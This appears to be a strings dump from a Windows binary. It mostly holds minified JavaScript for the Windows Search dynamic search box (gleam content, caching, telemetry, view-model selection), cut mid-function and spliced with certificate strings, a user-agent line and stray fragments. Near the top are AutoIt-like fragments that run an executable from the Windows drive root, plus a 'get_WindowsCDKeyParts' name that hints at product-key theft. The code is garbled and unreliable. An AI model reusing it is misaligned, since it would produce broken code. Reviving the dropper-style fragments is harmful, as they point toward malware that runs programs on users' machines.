*MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.LiveCap
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
6d^windows.appExtension
6e^windows.appExtension
 .exe",stringleft(@windowsdir,2)&"\
 .exe",1)run(stringleft(@windowsdir,2)&"\
C:\WINDOWS\
get_WindowsCDKeyParts
X[_^TestHookUrlParameters.miniSerpBag&&(t=ThresholdUtilities.setUrlParameter(t,"bag",encodeURIComponent(n.TestHookUrlParameters.miniSerpBag)));n.TestHookUrlParameters.clientversion&&(t=ThresholdUtilities.setUrlParameter(t,"clientversion",encodeURIComponent(n.TestHookUrlParameters.clientversion)))}t=ThresholdUtilities.setUrlParameter(t,"dsbmr","1");t=ThresholdUtilities.setUrlParameter(t,"format","dsbjson");t=ThresholdUtilities.setUrlParameter(t,"client","windowsminiserp");t=ThresholdUtilities.setUrlParameter(t,"dsbschemaversion","1.1");t=ThresholdUtilities.setUrlParameter(t,"dsbminiserp","1");t=ThresholdUtilities.setUrlParameter(t,"q","q");t=ThresholdUtilities.setUrlParameter(t,"cc",n.Host.getRegion());t=ThresholdUtilities.setUrlParameter(t,"setlang",n.getCurrentLanguage());const i=n.getCurrentDateDSB();let r=i.toLocaleString("en-US");return i<n.DateTimeReference&&n.log(`getCurrentDateDSB() return incorrect time! getCurrentDateDSB(): '${r}' `),t=ThresholdUtilities.setUrlParameter(t,"clientDateTime",encodeURIComponent(r))}isValidDSBMultiMomentsContent(t){if(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.isTest)return!0;if(!t||!t.ContentCollection||t.ContentCollection.length==0)return!1;let i=0;return t.ContentCollection.forEach(t=>{t.Data&&t.Data.length!=0?i++:n.DSBLogWarning("MultiMomentResponseValidation",`Moment ${t.Order} at Date ${t.Date} has empty data field.`)}),i>0}getUXTemplateName(t,i){var u,f;let r=(u=t===null||t===void 0?void 0:t.FieldsStore)===null||u===void 0?void 0:u.UXTemplateList;if((n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.dsbMockUXTemplateList)&&i==(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.dsbMockUXTemplateCardType)&&(r=n.TestHookUrlParameters.dsbMockUXTemplateList.split(",")),r)for(let t=0;t<r.length;t++)if(n.View.DSB.Templates[r[t]])return n.View.DSB.Templates[r[t]];return((f=t===null||t===void 0?void 0:t.FieldsStore)===null||f===void 0?void 0:f.UXTemplateName)?n.View.DSB.Templates[t.FieldsStore.UXTemplateName]:(t===null||t===void 0?void 0:t.UXTemplateName)?n.View.DSB.Templates[t.UXTemplateName]:undefined}getDSBOcidOrFormInstrumentedItem(t,i,r,u,f){let e=n.InstrumentedItem.createInstrumentedItemKvalueOverride(this.getKValue(u),f!==null&&f!==void 0?f:t===null||t===void 0?void 0:t.Scenario,i,u);return i==20?e.setProperty("ocid",r):n.isBingHandoffType(i)&&e.setProperty("form",r),e}setInstrumentationProperties(n,t){return Object.keys(t).forEach(i=>{let r=t[i];r&&typeof r!="string"&&(r=r.toString());i!=="momentDate"&&i!=="workflow"&&i!=="scenario"&&n.setProperty(i,r)}),n}dsbSubInstrumentationItems(t,i,r=[],u){const{scenario:f,workflow:e}=u;t===null||t===void 0?void 0:t.forEach(t=>{var s,h;let c=(s=t===null||t===void 0?void 0:t.HandOffType)!==null&&s!==void 0?s:this.getUrlHandoffType(t===null||t===void 0?void 0:t.ClickThroughUrl),l=(h=t===null||t===void 0?void 0:t.QSCode)!==null&&h!==void 0?h:n.getDSBFormCode(i===null||i===void 0?void 0:i.Scenario),o=this.getDSBOcidOrFormInstrumentedItem(i,c,l,e,f);t.instrumentedItem=o;o=this.setInstrumentationProperties(o,u);r.push(o)})}createDSBInstrumentation(t,i){let e=[];const{HandOffType:s,Items:u,MegaLink:h,QSCode:o,OverlayButtons:c,WholePageTabs:r}=t===null||t===void 0?void 0:t.FieldsStore;o&&(t.QSCode=o);t.HandOffType=s;let f=this.getDSBOcidOrFormInstrumentedItem(t,s,o,i.workflow);if(f=this.setInstrumentationProperties(f,i),(u!==null&&u!==void 0?u:r===null||r===void 0?void 0:r.Items)&&(r&&(i.scenario=r===null||r===void 0?void 0:r.Scenario),this.dsbSubInstrumentationItems(u!==null&&u!==void 0?u:r===null||r===void 0?void 0:r.Items,t,e,i)),c&&(i.scenario="OverlayButton",this.dsbSubInstrumentationItems(c,t,e,i)),h&&(i.scenario=i.scenario+"MegaLink",this.dsbSubInstrumentationItems([h],t,e,i,"-999"),t.FieldsStore.MegaLink.Id=`mega-link`+Math.random().toString(16).substring(2)),n.Host.getLogUserActivityDataEnabled()){const n={engagementType:"Click",engagementSurface:"ZI",dataSource:t.Scenario,suggestionType:f.getQsCode()
=0;this.dwellStartTime=-1;this.dwellEndTime=-1;this.dwellTime=-1;this.DataModelStorageKey=n.config.dsbCacheKey;this.DismissedMomentsStorageKey=n.config.dsbDismissCacheKey;this.DSBV2DataModelStorageKey=n.config.dsbV2CacheKey;this.codexStatusCacheKey="userCodexStatus";this.currentUserIDCacheKey="currentDSBUserId";this.serverIG="";this.DSBSearchCallStatusCacheKey="DSBSearchCallStatus";this.DSBSearchCallStatus="None";this.dsbUser=null;this.DSBGleamBlobCacheKey="wsbGleamBlobCacheMap";this.resetActiveStatus();this.loadDynamicSearchContentFromCache();this.dsbBaseUrl="/DSB";this.dsbV2BaseUrl="/DSB/search";n.config.enableOfflineWithWeb&&n.config.webHost&&n.isBrowserOnline()&&(this.dsbBaseUrl=n.config.webHost+this.dsbBaseUrl,this.dsbV2BaseUrl=n.config.webHost+this.dsbV2BaseUrl);n.Host.bindDismissed(()=>{var t,i;this.renderOnDismissReason!=null&&(this.render(),this.renderOnDismissReason==1&&n.dsbManager.allowSuspension(),this.renderOnDismissReason=null);const r=document===null||document===void 0?void 0:document.activeElement;r&&r.blur();(t=_qs("#dynamic-pane .dsb-moment-content"))===null||t===void 0?void 0:t.classList.add("b_hide");n.shouldShowDSBFullWidth()&&((i=_qs("#dynamic-pane-full .dsbFullWidth"))===null||i===void 0?void 0:i.classList.add("b_hide"));n.placeholdertextNeedUpdate&&n.isTSInSearchBoxEnabled()&&this.updateTSInSearchBox()});n.Host.bindShown(()=>{var t,i;(t=_qs("#dynamic-pane .dsb-moment-content"))===null||t===void 0?void 0:t.classList.remove("b_hide");n.shouldShowDSBFullWidth()&&((i=_qs("#dynamic-pane-full .dsbFullWidth"))===null||i===void 0?void 0:i.classList.remove("b_hide"))});n.Host.bindAccountChanged(()=>{var t;if(this.shouldShowBingGleam()){const i=(t=n.Host.getConnectedAccountInfo(0))===null||t===void 0?void 0:t.accountId;if(i){const t=n.LightweightStorage.getItem(this.currentUserIDCacheKey);i!=t&&n.LightweightStorage.setItem(this.currentUserIDCacheKey,i)}}})}getName(){return"DynamicSearchViewModel"}isEnabled(){return!0}getUpdateIntervalMins(){return this.getDSBContentUpdateIntervalMins()}getDSBContentUpdateIntervalMins(){var t;return n.TestHookUrlParameters?(t=n.TestHookUrlParameters.dsbUpdateInterval)!==null&&t!==void 0?t:n.DEFAULT_DSB_UPDATE_INTERVAL_MINS:n.DEFAULT_DSB_UPDATE_INTERVAL_MINS}getDSBGleamExpiryInMins(){var t;return n.TestHookUrlParameters?(t=n.TestHookUrlParameters.dsbGleamExpiryMins)!==null&&t!==void 0?t:n.DEFAULT_DSB_GLEAM_EXPIRY_MINS:n.DEFAULT_DSB_GLEAM_EXPIRY_MINS}getDynamicSearchBoxContent(){return this.dynamicSearchBoxContent}getSearchAppearanceGleamContent(){return this.searchAppearanceGleamContent}resetActiveStatus(){const i=n.getCurrentDateDSB();this.activeMomentsIndexMap={};const t=n.getDateStringInDSBFormat(i);this.activeMomentDate=t;this.currentDateDSBStr=t}loadDynamicSearchContentFromCache(){(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.disableDSBCache)||(this.resetInstrumentation(),n.config.enableDSBMergedRefactor&&this.loadDSBSearchFallbackStatus(),this.loadDismissedMomentsFromCache(),this.loadCurrentDayContentFromCache(),n.config.enableDSBMergedRefactor||this.isDSBMergedCallSuccess<0&&n.isDSBFullWidthFlightEnabled()&&this.loadDSBV2ContentFromCache())}loadDSBV2ContentFromCache(){const t=n.LightweightStorage.getItem(this.DSBV2DataModelStorageKey);if(t&&n.isDSBFullWidthFlightEnabled()){this.DSBV2ContentCache=JSON.parse(t);const{cacheTime:i,response:r}=this.DSBV2ContentCache,u=i+this.getDSBGleamExpiryInMins()*n.MINS_TO_MILLIS;n.getCurrentTime()<u&&(this.DSBMiniserpDataModel=this.parseMultiMomentsResponse(r,3,undefined),this.DSBMiniserpDataModel||this.instrumentDSBFallback(13,3,null,t))}}loadCurrentDayContentFromCache(){var t,i,r;const u=n.LightweightStorage.getItem(this.DataModelStorageKey);if(u){this.multiMomentsContentCache=JSON.parse(u);const{cacheTime:e,response:c}=this.multiMomentsContentCache;this.gleamDataCacheTime=e;const l=e+this.getDSBGleamExpiryInMins()*n.MINS_TO_MILLIS;if(n.getCurrentTime()<l){let t=this.isMergedRouteEnabled()&&this.DSBSearchCallStatus!=="FallbacktoV2"?5:1;this.multiMomentsDataModel=this.parseMultiMomenPof_3p_End"))}else this.logBackgroundTask("DsbManager_no_vm_selected"),n.config.msbDsbEmptyGleamInvestigation&&(n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.logGleamSetup("ClearedByNullContent",t,i+" NoVmSelected")),await((h=(p=SearchAppWrapper.CortanaApp).clearDynamicContent)===null||h===void 0?void 0:h.call(p)),await((c=(w=SearchAppWrapper.CortanaApp).removeDynamicSearchBoxContent)===null||c===void 0?void 0:c.call(w)),this.previousDynamicSearchBoxContent=undefined,this.logBackgroundTask("DsbManager_clearDSBcontent")}else{this.logBackgroundTask("DsbManager_setViewModelDSBContentOldApi");const r=t===null||t===void 0?void 0:t.getDynamicSearchBoxContent();if(n.areDynamicSearchBoxContentEqual(r,this.previousDynamicSearchBoxContent)){n.config.msbDsbEmptyGleamInvestigation&&(n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.logGleamSetup("DedupEarlyReturn",t,i+" DynamicSearchBoxContentEqual"));return}if(this.previousDynamicSearchBoxContent=r,this.previousSearchAppearanceGleamData=undefined,r){const{attributes:n,parameters:t}=r,i=n===null||n===void 0?void 0:n.gleamFormat;switch(i){case 0:await this.setDynamicSearchBoxContentRawData(t);break;case 1:await this.setDynamicSearchBoxContentUrl(t);break;default:await this.setDynamicSearchBoxContentUrl(e)}}else this.logBackgroundTask("DsbManager_no_vm_selected"),n.config.msbDsbEmptyGleamInvestigation&&(n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.logGleamSetup("ClearedByNullContent",t,i+" NoVmSelected")),await((l=(b=SearchAppWrapper.CortanaApp).clearDynamicContent)===null||l===void 0?void 0:l.call(b)),await((a=(k=SearchAppWrapper.CortanaApp).removeDynamicSearchBoxContent)===null||a===void 0?void 0:a.call(k)),this.previousDynamicSearchBoxContent=undefined}this.logBackgroundTask("DsbManager_setViewModelDynamicSearchBoxContent_End")}finally{r.release()}}getDynamicSearchBoxContentKeyAtShown(){return this.dynamicSearchBoxContentKeyAtShown}getInstrumentedProps(){var i,r;let t=[];return(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isMsbDsbBlendFeatureEnabled())?(t=this.selectDsbViewModels().map(n=>{var t;return(t=n.getInstrumentProps())!==null&&t!==void 0?t:[]}).reduce((n,t)=>n.concat(t),[]),(n.msbDsbSwitchHost===null||n.msbDsbSwitchHost===void 0?void 0:n.msbDsbSwitchHost.shouldShow())&&(t=t.concat(n.msbDsbSwitchHost.getDsbInstrumentProps()))):t=(r=(i=this.selectDsbViewModel())===null||i===void 0?void 0:i.getInstrumentProps())!==null&&r!==void 0?r:[],t}logBackgroundTask(t){n.logToMC("Bing_QF_BackgroundTask_lifecycle",t,"logBackgroundTask")}focus(){var n;if((n=this._dsbViewModel)!==null&&n!==void 0)return n.focus()}shouldUpdateConsumerDsbInBlendedMode(){if(n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.isInBlendedMode())try{const t=n.LightweightStorage.getItem(u);if(t){const i=Date.now()-parseInt(t);return i>=n.DEFAULT_DSB_UPDATE_INTERVAL_MINS*n.MINS_TO_MILLIS}return!0}catch(t){return!0}else return!0}updateGleamDataPofSchema(n){var i,r,u,f,e,o;let t=(r=(i=this===null||this===void 0?void 0:this._dsbViewModel)===null||i===void 0?void 0:i.getSearchAppearanceGleamContent())===null||r===void 0?void 0:r.gleamData;const s=(o=(e=(f=(u=t===null||t===void 0?void 0:t.content)===null||u===void 0?void 0:u.taskbarSearchBox)===null||f===void 0?void 0:f.gleam)===null||e===void 0?void 0:e.hoverAction)===null||o===void 0?void 0:o.type;let h=s=="searchHome"&&!n||s=="showTooltip"&&n;t&&h&&this._dsbViewModel.setGleamDataPoFSchema(t,h)}getCurrentQuery(){if(this!==null&&this!==void 0)return this.currentQuery}}n.DynamicSearchManager=s}(WSB||(WSB={})),function(n){class t{constructor(t){this._page=t;this.multiMomentsContentCache={cacheTime:0,response:null};this.DSBV2ContentCache={cacheTime:0,response:null};this.dismissedMomentsContentCache={};this.instrumentedBlendedProps=[];this.hasPendingGleamUpdate=!1;this.kValueC=n.InstrumentationCommon.KVALUE_DSB_CURRENT_DAY_CONTENT;this.kValueV2=n.InstrumentationCommon.KVALUE_DSB_V2_CONTENT;this.kValueM=n.InstrumentationCommon.KVALUE_DSB_MERGED_CONTENT;this.isVisible=!1;this.isDSBMergedCallSuccess==0&&(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.shouldForceEnterprise())?this._msb_dsbViewModel:this._dsbViewModel):f!=0&&(r=this._dsbViewModel),this.handleViewModelChange(r,t),r}handleViewModelChange(n,t){if(this.previouslySelectedViewModel!==n){this.previouslySelectedViewModel=n;this.onViewModelChanged(n)}t&&this.setDsbVisibility()}onViewModelChanged(t){if(this.setDsbVisibility(),t===null||t===void 0?void 0:t.shouldUpdateGleamAndTimeInterval()){this.updateDynamicSearchBoxContent(`DynamicSearchManager.onViewModelChanged`,t===null||t===void 0?void 0:t.getName());let i=t===null||t===void 0?void 0:t.getUpdateIntervalMins();this.shouldOverwriteInterval(t)&&(i=(n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.getRemainingTimeToWorkStartHour())+1);this.setViewModelUpdateInterval(i)}}onBackgroundTask(){this.pendRefresh(this.appShown?7:3,1)}setViewModelUpdateInterval(n){let t;n!=null&&(t=this.setDynamicSearchBoxUpdateInterval(n))}refreshViewModels(t,i){if(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isMsbDsbBlendFeatureEnabled()){const r=this.selectDsbViewModels(!1,i);if(i===1&&this.shouldOverwriteInterval(r[0])){const t=(n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.getRemainingTimeToWorkStartHour())+1;this.setViewModelUpdateInterval(t)}r.forEach(n=>n.refresh(t,i))}else{const r=this.selectDsbViewModel(!1,i);if(i===1&&this.shouldOverwriteInterval(r)){const t=(n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.getRemainingTimeToWorkStartHour())+1;this.setViewModelUpdateInterval(t)}r===null||r===void 0?void 0:r.refresh(t,i)}}shouldOverwriteInterval(t){if(t===this._dsbViewModel&&((n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.isOffWorkHourDisabledAad())||(n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.isInBlendedMode())||(n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.isInDiscoverMode()))){const t=n.getCurrentDate(),i=new Date(t);return i.setHours(t.getHours()+n.DEFAULT_DSB_UPDATE_INTERVAL_HOURS),n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.isInNextWorkTimePeriod(i)}return!1}async setViewModelDynamicSearchBoxContent(t,i){var v,u,y,f,o,s,p,h,w,c,b,l,k,a;if(n.config.msbDsbEmptyGleamInvestigation&&(n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.logGleamSetup("FunctionEntry",t,i)),n.isBingGleamDisabledByRegionalPolicy()){n.config.msbDsbEmptyGleamInvestigation&&(n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.logGleamSetup("ClearedByRegionalPolicy",t,i+" GleamDisabledByRegionalPolicy"));await((u=(v=SearchAppWrapper.CortanaApp).clearDynamicContent)===null||u===void 0?void 0:u.call(v));await((f=(y=SearchAppWrapper.CortanaApp).removeDynamicSearchBoxContent)===null||f===void 0?void 0:f.call(y));this.previousSearchAppearanceGleamData=undefined;this.previousDynamicSearchBoxContent=undefined;return}await r.lock();this.logBackgroundTask("DsbManager_setViewModelDynamicSearchBoxContent_Start");try{if(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.disableDSBSearchBoxContent){this.logBackgroundTask("DsbManager_disableDSBSearchBoxContent");return}if(n.isSearchPointsOfFlexibilityEnabled()&&t!==this._msb_dsbViewModel){const r=(o=t===null||t===void 0?void 0:t.getSearchAppearanceGleamContent)===null||o===void 0?void 0:o.call(t);if(n.isSearchAppearanceGleamTelemetryIdEqual(r===null||r===void 0?void 0:r.gleamData,this.previousSearchAppearanceGleamData)){this.logBackgroundTask("DsbManager_gleamTelemetryIdNotUpdated");return}if(this.logBackgroundTask("DsbManager_setSearchAppearanceContentPof_Start"),this.previousSearchAppearanceGleamData=r===null||r===void 0?void 0:r.gleamData,this.previousDynamicSearchBoxContent=undefined,r){let n=r.contentType;n==1?(await this.setSearchAppearanceContent(r),this.logBackgroundTask("DsbManager_setSearchAppearanceContentPof_End")):n==2&&(await this.setSearchAppearanceContentFor3p(r,(s=this.currentQuery)===null||s===void 0?void 0:s.thirdPartySearch),this.logBackgroundTask("DsbManager_setSearchAppearanceContentuldShow()))?this.moveDsbPanesIntoWrapper():this.moveDsbPanesOutOfWrapper()}moveDsbPanesIntoWrapper(){n.StaticHtmlElements.dynamicPaneWrapper&&(n.StaticHtmlElements.msbDsbRoot.parentElement!==n.StaticHtmlElements.dynamicPaneWrapper&&(n.StaticHtmlElements.dynamicPaneWrapper.appendChild(n.StaticHtmlElements.dynamicPane),n.StaticHtmlElements.dynamicPaneWrapper.appendChild(n.StaticHtmlElements.msbDsbRoot)),n.setVisibility(n.StaticHtmlElements.dynamicPaneWrapper,!0))}moveDsbPanesOutOfWrapper(){n.StaticHtmlElements.dynamicPaneWrapper&&(n.setVisibility(n.StaticHtmlElements.dynamicPaneWrapper,!1),n.StaticHtmlElements.msbDsbRoot.parentElement===n.StaticHtmlElements.dynamicPaneWrapper&&(n.StaticHtmlElements.dynamicPaneWrapper.parentElement.insertBefore(n.StaticHtmlElements.dynamicPane,n.StaticHtmlElements.dynamicPaneWrapper),n.StaticHtmlElements.dynamicPaneWrapper.parentElement.insertBefore(n.StaticHtmlElements.msbDsbRoot,n.StaticHtmlElements.dynamicPaneWrapper)))}pendRefresh(t,i){var r,f;const e=n.AccessTokenManager.getWindowsAccountType();if(this.logBackgroundTask(`DsbManager_pendRefresh_Start_${t}_reason_${i}`),e!=0){if(e!=1||n.isDsbEnabledForEnterprise())if(n.config.msbDsbMoveIntervalTime)this.refreshViewModels(t,i);else if(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isMsbDsbBlendFeatureEnabled()){const f=this.selectDsbViewModels(!1,i);this.shouldUpdateConsumerDsbInBlendedMode()||i!==1?(f===null||f===void 0?void 0:f.forEach(n=>n.refresh(t,i)),(t==3||t==7)&&n.LightweightStorage.setItem(u,n.getCurrentTime().toString())):(r=f[0])===null||r===void 0?void 0:r.refresh(t,i)}else(f=this.selectDsbViewModel(!1,i))===null||f===void 0?void 0:f.refresh(t,i)}else this.mergePendingRefresh(t,i);this.logBackgroundTask(`DsbManager_pendRefresh_End_${t}_reason_${i}`)}mergePendingRefresh(n,t){if(this.logBackgroundTask("DsbManager_mergePendingRefresh_Start"),this.pendingRefreshParameters){const{strategy:i,reason:r}=this.pendingRefreshParameters;i&1&&(n|=1,t==2&&(t=r));(i&6)==2&&(n=n&-7|2)}this.pendingRefreshParameters={strategy:n,reason:t};this.logBackgroundTask("DsbManager_mergePendingRefresh_End")}flushPendingRefresh(){var t,i;const r=n.AccessTokenManager.getWindowsAccountType();if(r!=0&&this.pendingRefreshParameters){const{strategy:f,reason:u}=this.pendingRefreshParameters;this.pendingRefreshParameters=null;n.config.msbDsbMoveIntervalTime?this.refreshViewModels(f,u):(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isMsbDsbBlendFeatureEnabled())?(t=this.selectDsbViewModels(!1,u))===null||t===void 0?void 0:t.forEach(n=>n.refresh(f,u)):(i=this.selectDsbViewModel(!1,u))===null||i===void 0?void 0:i.refresh(f,u)}}selectDsbViewModels(t,i){var u,f;let r=[];const e=n.AccessTokenManager.getWindowsAccountType();return e==1||n.config.msbMockToken?((u=this._msb_dsbViewModel)===null||u===void 0?void 0:u.isEnabled())||n.config.msbMockToken?(n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.isInBlendedMode())&&!n.shouldDisplayMsbDsbInWorkScope((f=this.currentQuery)===null||f===void 0?void 0:f.isWorkScopeZI)?(r.push(this._msb_dsbViewModel),r.push(this._dsbViewModel)):r.push(this._msb_dsbViewModel):n.isConsumerDsbEnabledForEnterprise()&&(i===0&&(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.shouldForceEnterprise())?r.push(this._msb_dsbViewModel):r.push(this._dsbViewModel)):e!=0&&r.push(this._dsbViewModel),this.handleViewModelsChange(r,t),r}handleViewModelsChange(n,t){const i=this.getViewModelMode(n),r=this.getViewModelMode(this.previouslySelectedViewModels);if(i!=r){this.previouslySelectedViewModels=n;this.onViewModelChanged(n[0])}t&&this.setDsbVisibility()}getViewModelMode(n){if(n.length==2)return"Blended";if(n.length==1){if(n[0]==this._msb_dsbViewModel)return"Enterprise";if(n[0]==this._dsbViewModel)return"Consumer"}return"None"}selectDsbViewModel(t,i){var u;let r;const f=n.AccessTokenManager.getWindowsAccountType();return f==1||n.config.msbMockToken?((u=this._msb_dsbViewModel)===null||u===void 0?void 0:u.isEnabled())||n.config.msbMockToken?r=this._msb_dsbViewModel:n.isConsumerDsbEnabledForEnterprise()&&(r=i=3
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
)}n.areDynamicSearchBoxContentEqual=p;n.isSearchAppearanceGleamTelemetryIdEqual=b;const k=18e4;const nt=new RegExp("/id/([^/?#$]*)","i"),tt=new RegExp("[?&]id=([^&#$]*)","i");n.extractThumbnailIdFromUrl=it;let t;(function(n){n[n.ImageOfTheDay=0]="ImageOfTheDay";n[n.OnThisDay=1]="OnThisDay";n[n.QuoteOfTheDay=2]="QuoteOfTheDay";n[n.WordOfTheyDay=3]="WordOfTheyDay";n[n.TrendingSearch=4]="TrendingSearch";n[n.TrendingImage=5]="TrendingImage";n[n.TrendingVideo=6]="TrendingVideo";n[n.ExploreMore=7]="ExploreMore";n[n.NewsAnswer=8]="NewsAnswer";n[n.ImageFeed=9]="ImageFeed";n[n.PersonalizedRecipes=10]="PersonalizedRecipes";n[n.RelatedLocal=11]="RelatedLocal";n[n.RelatedRecipe=12]="RelatedRecipe";n[n.RelatedShopping=13]="RelatedShopping";n[n.Rewards=14]="Rewards";n[n.KnowledgeCard=15]="KnowledgeCard";n[n.CustomContent=16]="CustomContent";n[n.ArticleCarousel=17]="ArticleCarousel";n[n.TrendingStories=18]="TrendingStories";n[n.ImageSimpleCTA=19]="ImageSimpleCTA";n[n.Others=20]="Others";n[n.NewsTrendingTopics=21]="NewsTrendingTopics";n[n.ImageAnswers=22]="ImageAnswers";n[n.CustomContent_CTA=23]="CustomContent_CTA";n[n.CustomContent_Mega=24]="CustomContent_Mega";n[n.ShortVideos=25]="ShortVideos";n[n.RewardsDailySet=26]="RewardsDailySet";n[n.CashbackAds=27]="CashbackAds";n[n.DailyQuiz=28]="DailyQuiz";n[n.LocalTopApps=29]="LocalTopApps";n[n.AiTools=30]="AiTools"})(t=n.DSBScenario||(n.DSBScenario={}));let rt;(function(n){n[n.Small=0]="Small";n[n.Medium=1]="Medium";n[n.Large=2]="Large"})(rt=n.CardType||(n.CardType={}));n.generateThumbnailDimension=i;n.generateCardThumbnailDimension=u;n.getValueFromKeyValueStrList=f;n.getConfigValueByKey=h;n.generateBingThumbnailUrlFromId=r;n.generateBingThumbnailUrlFromIdByScenario=ft;n.getDSBFormCode=et;n.generateBingUrlWithLanguageAndRegion=c;n.numberOfItemsToDisplay=ot;n.getBtnTitle=st;n.getTooltips=ht;n.getAnswerIconStyle=ct;n.formatNumbers=lt;n.getImageStyle=at;n.getImageStyleNew=vt;n.geCardImageStyle=yt;n.getItemTitleStyleMegaExt=pt;n.getThumbnailSize=o;n.getImageStyleMegaExt=wt;n.getImageStyleMegaRewards=bt;n.getDSBContainerWidth=l;n.getTilesToShowCount=kt;n.DEFAULT_DSB_UPDATE_INTERVAL_HOURS=6;n.DEFAULT_DSB_UPDATE_INTERVAL_MINS=n.DEFAULT_DSB_UPDATE_INTERVAL_HOURS*60;n.DEFAULT_DSB_GLEAM_EXPIRY_MINS=4320;n.DEFAULT_3P_GLEAM_CHECK_INTERVAL_MINS=1;n.UPDATE_PLACEHOLDERTEXT_INTERVAL_MINS=15;n.MINS_TO_MILLIS=6e4;n.MIN_SHOWN_UPDATE_MILLIS=((n.config===null||n.config===void 0?void 0:n.config.enableDSB1Hour)?60:(n.config===null||n.config===void 0?void 0:n.config.enableDSB30Min)?30:15)*n.MINS_TO_MILLIS;n.FETCH_DSB_CONTENT_TIMEOUT_IN_MS=3e3;n.DSB_RESET_SECONDS=300;n.DayEndSec=86400;n.DayStartSec=0;n.TelemetryIdXap="telemetryIdXap";n.TelemetryIdSuffix="toggled";n.DateTimeReference=new Date("2010-01-01");n.DefaultGleamData={GleamKey:"",GleamText:"",GleamFormat:"",LightGleamBlob:"",DarkGleamBlob:"",LightGleamUrl:"",DarkGleamUrl:""};n.DefaultSchemaVersionPoF="1.0.0";let e="";n.getCommonBaseUrl=a;n.clickDSBHandler=dt;n.isBingHandoffType=gt;n.keepFoucsOnThisElement=ni;n.formatTimePassed=v;n.localizedTimeAgo=ti;n.getCurrentDateDSB=ii;n.DSBLogError=ri;n.DSBLogWarning=ui;n.getTelemetryIdFromUrl=fi;n.getGleamDimensionFromGleamSize=ei;n.convertMomentDateForRender=oi;n.getDateStringInDSBFormat=s;n.getDSBMomentDatesForFlipper=si;n.getDSBMomentCurrentDate=hi;n.createDSBEdgeLaunchProtocolParameters=ci;n.isDSBSearchApiEnabled=li;n.isSearchPointsOfFlexibilityEnabled=y;n.isPofEnabledOnWin11=ai;n.isSearchShowOnHoverAllowedSettingEnabled=vi})(WSB||(WSB={})),function(n){const t=0,f=3,i=1,e={placeholderText:"",lightGleamDataOrUrl:"",darkGleamDataOrUrl:"",expirationTime:0,gleamSize:null,win11ShowForMillis:t,telemetryId:""},o=[0,262144,2048,4096],r=new n.Mutex,u="cdsb-last-refresh";class s{constructor(t,r,u){this._dsbViewModel=t;this._msb_dsbViewModel=r;this.previouslySelectedViewModels=[];SearchAppWrapper.CortanaApp.setDynamicSearchBoxEnablement&&SearchAppWrapper.CortanaApp.setDynamicSearchBoxEnablement(!0);n.Host.bindBootstrapDone(()=>{n.isDynamicSearchContentPossible()&&n.safeSetTimeout(()=>{this.logBackgroundTask("DSBManager_bootstr,f=false,e=false,s=false,h,c,l=false){if(!n)return"";const w=n;n=n===null||n===void 0?void 0:n.match(/([^&]*)/)[0];const{finalWidth:a,finalHeight:v}=o(h,c,t,i,f,s),b=n.startsWith("https:"),k=n.includes("?")?"&":"?",y=l?0:e?13:1;let p;p=b?`${w}${k}w=${a}&h=${v}&m=5&c=${y}`:r(n,u,a,v,y);const d=`url(${p})`;return{backgroundImage:d,maxWidth:`${a}px`,height:`${v}px`}}function bt(n,t,i,r=false,u=false,f,e){const{finalWidth:s,finalHeight:h}=o(f,e,t,i,r,u);return{backgroundImage:`url(https:${n})`,backgroundSize:`${s}px`,minWidth:`${s}px`,width:`${s}px`,height:`${h}px`}}function l(t,i){return t?i?386:266:n.config.useCobaltCSS?390:368}function kt(t,r,u=false,f=false,e,o,s){let c=n.RuntimeConfiguration.TextScaleFactor;n.config.disbaleWideForLargeTextScale&&(c=1);const v=l(f,o);let h;h=e>0?Number(e):i({dsbSection:t,dsbScenario:r,isWindows11:n.config.useCobaltCSS,isTwoCta:u,isFullWidthDSB:f,isNewDSBUI:n.config.newDSBUI}).width;let a=s>0?s:2*(n.config.useCobaltCSS?3:8);return h||(h=n.config.useCobaltCSS?90:86),h+=n.config.useCobaltCSS?4:2,Number(((v+a)/(h*c+a)).toFixed(2))}function a(){return e||(e=n.config.enableOfflineWithWeb&&n.config.webHost&&n.isBrowserOnline()?n.config.webHost:location.origin),e}async function dt(t,i,r,u){(i===null||i===void 0?void 0:i.startsWith("/"))&&(i=`${a()}${i}`);let 